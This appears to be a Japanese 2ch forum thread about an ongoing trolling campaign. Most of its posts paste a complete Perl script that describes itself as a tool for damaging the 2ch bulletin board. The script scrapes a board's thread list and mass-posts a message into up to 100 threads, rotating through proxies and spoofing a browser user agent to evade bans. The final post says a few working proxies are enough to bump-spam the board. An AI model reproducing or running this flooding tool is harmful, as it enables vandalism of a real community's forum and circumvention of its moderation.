ペット大嫌い板で荒らし祭り開催中

このエントリーをはてなブックマークに追加
50
#!/usr/bin/perl -w
# You can redistribute it and/or modify it under either the terms of the GPL.

require 5.003;
use strict;
use Jcode;
use LWP::UserAgent;
use CGI::Lite;
use Getopt::Long;
use Fcntl qw(:DEFAULT :flock);

my $SCRIPT   = ($0 =~ /([^\/]+)$/)[0];
my $VERSION  = "0.03.03";
my $WGET     = "/usr/bin/wget";
my $NAME     = $SCRIPT;
my $MAIL     = $VERSION;
my $BODY     = "%3E%3E1%20itteyoshi";
my $NUMBER   = 100;
my $INTERVAL = 10;
my $VERBOSE  = 1;
my $PROXY    = "proxy1.host.nil:8080/proxy2.host.nil:8080/proxy3.host.nil:8080";

# Get options
my ($DISP_VERSION, $DISP_HELP, $DEBUG, $NO_POSTING,
    $SERVER, $BBS, $THREAD);
Getopt::Long::Configure ("bundling");
GetOptions (
            'V|version' => \$DISP_VERSION,
            'h|help' => \$DISP_HELP,
            'd|debug' => \$DEBUG,
            'v|verbose' => \$VERBOSE,
            'n|name=s' => \$NAME,
            'm|mail=s' => \$MAIL,
            'b|body=s' => \$BODY,
            'p|proxy=s' => \$PROXY,
            'P|no-post' => \$NO_POSTING,
            'N|number=i' => \$NUMBER,
            'i|interval=i' => \$INTERVAL,
            '<>' => \&parse_url
);
51 :02/03/10 07:36 ID:???
# parse proxy list
my @PROXY = split (/\//, $PROXY);

# main
if ($DISP_VERSION) {
  disp_version();
} elsif ($DISP_HELP) {
  disp_help();
} else {
  if ($THREAD) {
    post_thread($BBS, $THREAD, $PROXY[0]);
  } elsif ($BBS) {
    post_bbs($BBS);
  } else {
    disp_init_error("missing URL");
  }
}

exit;

# parse input url
sub parse_url {
  my ($url) = @_;

  if ($url =~ /^http:\/\/([^\/]+\.(?:2ch\.net|bbspink\.com))\/test\/read\.cgi\/([^\/]+)\/(\d+)\/$/) {
    ($SERVER, $BBS, $THREAD) = ($1, $2, $3);
  } elsif ($url =~ /^http:\/\/([^\/]+\.(?:2ch\.net|bbspink\.com))\/([^\/]+)\/$/) {
    ($SERVER, $BBS) = ($1, $2);
  } else {
    disp_init_error("$url: Invalid URL.");
  }
}
52 :02/03/10 07:36 ID:???
# display initial error and exit
sub disp_init_error {
  my ($message) = @_;

  print <<EOF;
$SCRIPT: $message
Usage: $SCRIPT [OPTION]... [URL]...

Try `$SCRIPT --help' for more options.
EOF

  exit;
}

# display version and exit
sub disp_version {
  print <<EOF;
$SCRIPT $VERSION

You can redistribute it and/or modify it under either the terms of the GPL.
EOF

  exit;
}
53 :02/03/10 07:36 ID:???
# display help and exit
sub disp_help {
  print <<EOF;
$SCRIPT $VERSION, a tool for damaging a bulletin board, 2ch.
Usage: $SCRIPT [OPTION]... [URL]...

Mandatory arguments to long options are mandatory for short options too.

Startup:
  -V,  --version   display the version of $SCRIPT and exit.
  -h,  --help      print this help.

Logging and input file:
  -d,  --debug         print debug output.
  -v,  --verbose       be verbose (this is the default).
  -n,  --name=NAME     set name to NAME.
  -m,  --mail=MAIL     set mail address to MAIL.
  -b,  --body=BODY     set message body to BODY.
  -p,  --proxy=PROXY   set http proxy to PROXY.

Post:
  -P,  --no-post            don't post to server.
  -N,  --number=NUMBER      set number of posting threads to NUMBER.
  -i,  --interval=SECONDS   wait SECONDS between posts.
EOF

  exit;
}

# display error and exit
sub disp_error {
  my ($message) = @_;

  print_time();
  print STDERR "$message\n";

  exit;
}

# print time
sub print_time {
  my ($sec, $min, $hour) = (localtime)[0..2];
  print STDERR sprintf("--%02d:%02d:%02d--  ", $hour, $min, $sec);
}
54 :02/03/10 07:37 ID:???
# post thread
sub post_thread {
  my ($bbs, $thread, $proxy) = @_;
  my ($time, $content, $res);

  print_time() if $DEBUG;
  print STDERR "Setting contents to send... " if $DEBUG;

  $NAME    = url_encode(Jcode->new($NAME, "euc")->sjis) if $NAME;
  $MAIL    = url_encode(Jcode->new($MAIL, "euc")->sjis) if $MAIL;
  $time    = time;
  $content = "submit=%8F%91%82%AB%8D%9E%82%DE&FROM=$NAME&mail=$MAIL&".
             "MESSAGE=$BODY&bbs=$bbs&key=$thread&time=". $time;

  print STDERR "done\n" if $DEBUG;

  print_time() if $DEBUG;
  print STDERR "Setting HTTP header... " if $DEBUG;

  print STDERR "done\n" if $DEBUG;

  if($NO_POSTING){
    print_time() if $DEBUG;
    print STDERR "No posting mode.\n" if $DEBUG;
    print STDERR "$NAME:$MAIL:".sprintf("%02d/%02d/%02d %02d:%02d\n", substr((localtime)[5], 1, 2), reverse((localtime)[1..4])) if $DEBUG;
    print STDERR Jcode->new($BODY, "sjis")->euc. "\n" if $DEBUG;
    print_time() if $DEBUG;
    print STDERR "Done.\n" if $DEBUG;
    print STDERR "." if $VERBOSE and !$DEBUG;
  } else {
    my $ua;

    print_time() if $DEBUG;
    print STDERR "Connecting $SERVER... " if $DEBUG;

    eval {
      $ua = LWP::UserAgent->new;
      $ua->proxy("http", "http://$proxy/") if $proxy;
      $ua->agent("Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)");
    };
    disp_error("connect error") if $@;

    print STDERR "done\n" if $DEBUG;
55 :02/03/10 07:37 ID:???
    print STDERR "\tServer:\t$SERVER\n" if $DEBUG;
    print STDERR "\tProxy:\t$proxy\n" if $DEBUG and $proxy;
    print STDERR "\tName:\t$NAME\n" if $DEBUG and $NAME;
    print STDERR "\tMail:\t$MAIL\n" if $DEBUG and $MAIL;
    print STDERR "\tBody:\t$BODY\n" if $DEBUG;
    print STDERR "\tBBS:\t$bbs\n" if $DEBUG;
    print STDERR "\tThread:\t$thread\n" if $DEBUG;
    print STDERR "\tTime:\t$time\n" if $DEBUG;

    print_time() if $DEBUG;
    print STDERR "Sending request... " if $DEBUG;

    my $h = HTTP::Headers->new(
                'Referer' => "http://$SERVER/test/read.cgi/$bbs/$thread/",
                'Cookie'  => "NAME=$NAME;MAIL=$MAIL"
            );

    # Create a request
    my $req = HTTP::Request->new("POST", "http://$SERVER/test/bbs.cgi", $h, $content);

    eval {
      # Pass request to the user agent and get a response back
      $res = $ua->request($req);
    };
    disp_error("post error") if $@;

    print STDERR "done\n" if $DEBUG;

    # Check the outcome of the response
    if ($res->is_success) {
        print_time() if $DEBUG;
        print $res->content if $DEBUG;
        print STDERR "." if $VERBOSE and !$DEBUG;
    } else {
        print_time() if $DEBUG;
        print "Bad luck this time\n" if $DEBUG;
        print STDERR "x" if $VERBOSE and !$DEBUG;
    }
  }
}
56 :02/03/10 07:39 ID:???
# Download file
sub download_file {
  my ($url, $file) = @_;

  print_time() if $VERBOSE;
  print STDERR "Downloading $url... " if $VERBOSE;

  (system "$WGET -q -N -T 180 -O $file $url") == 0
    or disp_error ("Can't wget -q -N -T 180 -O $file $url");

  print STDERR "done.\n" if $VERBOSE;
}

# Read subback.html
sub read_subback_html {
  my ($i, @thread);

  print_time() if $VERBOSE;
  print STDERR "Reading subback.html... " if $VERBOSE;

  open SBJ, "./subback.html" or logger ("Can't open: $!");
  flock (SBJ, LOCK_SH) or logger ("Can't flock: $!");

  while (defined (my $buf = <SBJ>)) {
    $buf = Jcode->new($buf, "sjis")->euc;
    push @thread, $1 if ($buf =~ /<a href="(\d+)\/l50">/);
  }

  close SBJ;

  print STDERR "done.\n" if $VERBOSE;

  return \@thread;
}
57 :02/03/10 07:40 ID:oTo2BJDe
# post bbs
sub post_bbs {
  my ($bbs) = @_;
  my ($i, $threadref, $thread) = (0);

  download_file("http://$SERVER/$bbs/subback.html", "./subback.html");
  $threadref = read_subback_html();
  unlink ("./subback.html");

  print_time() if $VERBOSE and $NO_POSTING;
  print STDERR "No posting mode.\n" if $VERBOSE and $NO_POSTING;

  foreach $thread (@$threadref) {
    print STDERR sprintf("\n %4d ->", $i) if $i % 50 == 0 and $VERBOSE and !$DEBUG;
    print STDERR " " if $i % 10 == 0 and $VERBOSE and !$DEBUG;
    post_thread($bbs, $thread, $PROXY[$i % ($#PROXY + 1)]);
    last if (++$i == $NUMBER);
    $BODY .= " ";
    print_time() if !$NO_POSTING and $DEBUG;
    print STDERR "Sleeping $INTERVAL sec... " if !$NO_POSTING and $DEBUG;
    sleep $INTERVAL if !$NO_POSTING;
    print STDERR "done.\n" if !$NO_POSTING and $DEBUG;
  }

  print STDERR "\n\n" if $VERBOSE and !$DEBUG and !$NO_POSTING;
  print_time() if $VERBOSE and !$NO_POSTING;
  print STDERR "$i messages sent.\n" if $VERBOSE and !$NO_POSTING;
  print_time() if $VERBOSE;
  print STDERR "All done.\n" if $VERBOSE;
}
58 :02/03/10 07:42 ID:???
「使える」HTTP Proxyが3つくらいあれば上記スクリプトで
上げ荒らしできます。

このバージョンも、UNIX系OSであることが必要ですが。。